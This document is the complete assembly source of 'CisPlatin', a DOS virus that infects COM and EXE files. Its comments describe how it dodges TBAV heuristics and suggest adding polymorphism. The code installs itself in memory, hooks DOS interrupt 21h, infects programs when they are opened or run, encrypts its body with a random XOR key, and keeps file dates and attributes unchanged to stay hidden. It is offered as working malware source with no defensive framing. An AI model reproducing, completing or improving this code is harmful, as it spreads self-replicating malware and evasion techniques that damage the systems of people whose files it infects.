; ; -| CisPlatin |- ; ; Cheesey Com/Exe/TSR/Crypt virus wich was a testing ground for some ideas ; This thing was originally called Jumping.Jack.Cisplatin ; ; Ideas Tested: Effect of jmp statements on TBAV ; Use of simple loops to modify data ; Using a counter for some basic polly ; Basic Polly pulled due to some problems that couldnt be ; fixed in time. ; ; Need Added: The use of several real counters gives you plenty of of ; changing data that a simulated infect don't infect scheme ; could easily be implemented. ; Same said counters could make for simulated amount of random ; padding to give the virus size poly ; Encryption is the BASIC xor scheme, but a much more ; complicated one could easily be fitted in. The first ; generation check would allow for you to put whatever you ; want into the encryption loop then compile and infect. ; ; ; Virus Courtesy of Jack.LSD :) ; ; Original code was so screwed up and hard to read it was run through ; IDA 3.6x to make it something easier to read. Courtesy of PakiLad p386n seg000 segment byte public 'CODE' use16 assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing start: db 0E9h, 03h, 00h OrgBytes db 0CDh, 20h, 0 RealStart db 0BBh Generation dw 21h mov cx, 382 cmp bx, 23h ; First Generation? jz DoneDecrypt ; Yes? Then JMP. jmp short DoNextXOR XORByte db 2Eh, 81h, 37h Cryptor dw 0 jmp short LoopNextXOR DoNextXOR: jmp short near ptr XORByte LoopNextXOR: add bx, 2 loop DoNextXOR DoneDecrypt: push ds push es db 81h, 0EDh, 22h, 0 call $+3 Next proc near jmp short GetDelta CalcDelta2 db 81h, 0EDh, 29h, 0 jmp short CheckInstall GetDelta: pop bp jmp short near ptr CalcDelta2 CheckInstall: mov ax, 0E38Bh int 21h ; Virus Installation Check push dx mov cx, 774 CompareCount: cmp ds:Counter[bp], 7 jz DoneCount inc ds:Counter[bp] loop CompareCount DoneCount: pop dx cmp dx, 608h ; Installed Already? jz AlreadyInMem ; Yes? Then JMP. push es pop ax dec ax mov ds, ax ; DS points to MCB assume ds:nothing sub word ptr ds:3, 128 ; Subtract 2048 Bytes From MCB sub word ptr ds:12h, 128 ; Subtract 2048 Bytes From Next Seg mov es, ds:12h ; ES points to Next Segment push cs pop ds ; DS = CS assume ds:seg000 mov di, offset start mov si, bp CopyVirIntoMem: lodsb stosb loop CopyVirIntoMem mov di, offset Int21Ofs mov si, 84h mov ds, cx ; DS points to IVT assume ds:nothing mov cx, 2 StoreInt21Vecs: movsw loop StoreInt21Vecs mov word ptr [si-4], offset NewInt21 ; Set New Int 21h Offset mov [si-2], es ; Set New Int 21h Segment AlreadyInMem: pop es pop ds ; DS = ES jmp short $+2 cmp sp, '69' ; EXE Infection? jz RestoreEXE ; Yes? Then JMP. lea si, OrgBytes[bp] mov ax, 104h mov cx, 4 DecryptOrgCOM: xor ax, cx loop DecryptOrgCOM xchg ax, di push di movsw ; Restore Original Bytes movsb call ClearRegs retn ; Return To Original Program RestoreEXE: mov ax, ds add ax, 10h push ax add ax, cs:exeCS[bp] mov cs:startCS[bp], ax mov ax, cs:exeIP[bp] mov cs:startIP[bp], ax pop ax add ax, cs:exeSS[bp] cli mov ss, ax mov sp, cs:exeSP[bp] call ClearRegs sti JMPFarEXE db 0EAh ; JMP To Original EXE startIP dw 0 startCS dw 0 Next endp exeCS dw 0FFF0h exeIP dw 103h exeSP dw 0FFFEh exeSS dw 0FFF0h ClearRegs proc near cwd xor bx, bx xor ax, ax xor di, di xor bp, bp mov si, 100h ; Setup Offset to Return To retn ClearRegs endp CallInt21 proc near pushf call dword ptr cs:Int21Ofs retn CallInt21 endp NewInt21: ; Virus Installation Check cmp ax, 0E38Bh jz InstallCheck ; Yes? Then JMP. cmp ah, 3Dh ; Open File? jz OpeningFile ; Yes? Then JMP. loc_0_101: ; Set Execution State? cmp ax, 4B00h jz ExecutingFile ; Yes? Then JMP. JMPFar21 db 0EAh Int21Ofs dw 0 Int21Seg dw 0 InstallCheck: ; I'm Here! mov dx, 608h iret OpeningFile: push ax push cx push di push es call FindExtension cmp word ptr [di], 'OC' ; COM File? jnz CheckEXE ; No? Then JMP. cmp byte ptr [di+2], 'M' ; COM File? jnz BadFileExt ; NO? Then JMP. jmp short GotValidFile CheckEXE: ; EXE File? cmp word ptr [di], 'XE' jnz BadFileExt ; No? Then JMP. cmp byte ptr [di+2], 'E' ; EXE File? jnz BadFileExt ; No? Then JMP. GotValidFile: pop es pop di pop cx pop ax jmp short ExecutingFile BadFileExt: pop es pop di pop cx pop ax jmp short near ptr JMPFar21 ExecutingFile: push ax push bx push cx push dx push si push di push ds push es call FindExtension cmp word ptr es:[di-3], 'DN' ; COMMAND.COM? jnz NotCOMMAND ; No? Then JMP. jmp FoundCOMMAND NotCOMMAND: mov ax, 4300h int 21h ; Get File Attributes push cx push dx push ds xor cx, cx call SetFileAttrib ; Clear File Attributes mov ax, 3D02h call CallInt21 ; Open File (R/W) jb CantOpen ; Problems? Then JMP. xchg ax, bx jmp short OpenedFile FixupSegs: push cs pop ds ; DS = CS assume ds:seg000 jmp short GetFileTD OpenedFile: jmp short FixupSegs GetFileTD: mov ax, 5700h int 21h ; Get File Date/Time push cx push dx mov ah, 3Fh mov cx, 28 mov dx, offset exeHeader MixUpHeur: xor dx, cx loop MixUpHeur mov cx, 28 xor dx, cx int 21h ; Read In File Header mov si, dx jmp short ReadInHeader CantOpen: jmp short FoundCOMMAND ReadInHeader: mov ax, [si] not ax cmp ax, 0A5B2h ; EXE File? jz FoundEXEHead ; Yes? Then JMP. mov al, 2 call MovePointer cmp dx, 64514 ; IS file over 64514 Bytes? ja FileTooBig ; Yes? Then JMP. sub dx, offset JMPInstruc cmp dx, exeHeader+1 ; Infected Already? jz FileTooBig ; Yes? Then JMP. add dx, offset JMPInstruc mov JMPOffset, dx add dx, 103h call EncryptVirus mov dx, offset exeHeader xor dx, 0Dh xor dx, 0Dh int 21h ; Write Encryption Routine mov ah, 40h mov cx, 762 mov dx, offset EncryptRtn int 21h ; Write Virus To File xor al, al call MovePointer ; Move Pointer to Beginning of File mov dx, offset JMPInstruc int 21h ; Write JMP Instruction To File RestoreFileTD: pop dx pop cx mov ax, 5701h int 21h ; Restore File Date/Time CloseFile: pop ds assume ds:nothing pop dx pop cx call SetFileAttrib mov ah, 3Eh int 21h ; Close File FoundCOMMAND: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp near ptr JMPFar21 SetFileAttrib proc near mov ax, 4301h int 21h ; Set File Attributes retn SetFileAttrib endp FileTooBig: pop cx pop dx jmp short CloseFile MovePointer proc near mov ah, 51h xor ah, 13h cwd xor cx, cx int 21h ; Move File Pointer mov dx, ax mov ah, 40h mov cx, 3 retn MovePointer endp FoundEXEHead: ; Any Relocations? cmp ds:exe_Reloc, 0 jnz FileTooBig ; Yes? Then JMP. cmp ds:exe_SP, '69' ; Infected Already? jz FileTooBig ; Yes? Then JMP. les ax, dword ptr ds:exe_IP mov ds:exeCS, es mov ds:exeIP, ax les ax, dword ptr ds:exe_SS mov ds:exeSS, ax mov ds:exeSP, es mov ds:exe_SP, '69' ; Set Infection Marker mov ax, 4202h cwd xor cx, cx int 21h ; Move Pointer to End of File push ax push dx push bx mov cl, 12 shl dx, cl mov bx, ax mov cl, 4 shr bx, cl add dx, bx and ax, 15 pop bx sub dx, ds:exeHeadSize mov ds:exe_CS, dx mov ds:exe_IP, ax add dx, 100 mov ds:exe_SS, dx pop dx pop ax add ax, offset JMPInstruc adc dx, 0 mov cx, 512 div cx inc ax mov ds:exeMOD, dx ; Store New EXE Size mov ds:exeDIV, ax ; Store New EXE Size mov dx, ds:exe_IP call EncryptVirus mov ah, 40h mov cx, 765 mov dx, offset EncryptRtn int 21h ; Write Encrypted Virus To File mov ax, 4200h cwd xor cx, cx int 21h ; Move Pointer to Beginning of File mov ah, 0E3h mov cl, 0BFh xchg ah, cl not ah not cl mov dx, offset exeHeader int 21h ; Write New EXE Header To File jmp RestoreFileTD VirusName db 'CisPlatin by Jack.LSD',0 FindExtension proc near push ds pop es mov di, dx mov cx, 32 mov al, '.' repne scasw ; Find Extension retn FindExtension endp EncryptVirus proc near push ax push cx push dx xor ah, ah int 1Ah ; Get Random Number mov ds:Cryptor, dx ; Store Encryption Value pop cx add cx, 27 mov ds:Generation, cx push cs pop es ; ES = CS assume es:seg000 mov si, offset RealStart mov di, offset EncryptRtn mov cx, 27 rep movsb ; Copy Encryption Routine mov cx, 382 EncryptLoop: lodsw xor ax, dx stosw loop EncryptLoop pop cx pop ax retn EncryptVirus endp JMPInstruc db 0E9h JMPOffset dw 0 exeHeader dw 0 exeMOD dw 0 exeDIV dw 0 exeNumSeg dw 0 exeHeadSize dw 0 exeMinPara dw 0 exeMaxPara dw 0 exe_SS dw 0 exe_SP dw 0 exeCheckSum dw 0 exe_IP dw 0 exe_CS dw 0 exe_OverLay dw 0 exe_Reloc dw 0 EncryptRtn db 1Bh dup(0) NewCopyVirus db 2DFh dup(0) Counter db 0 seg000 ends end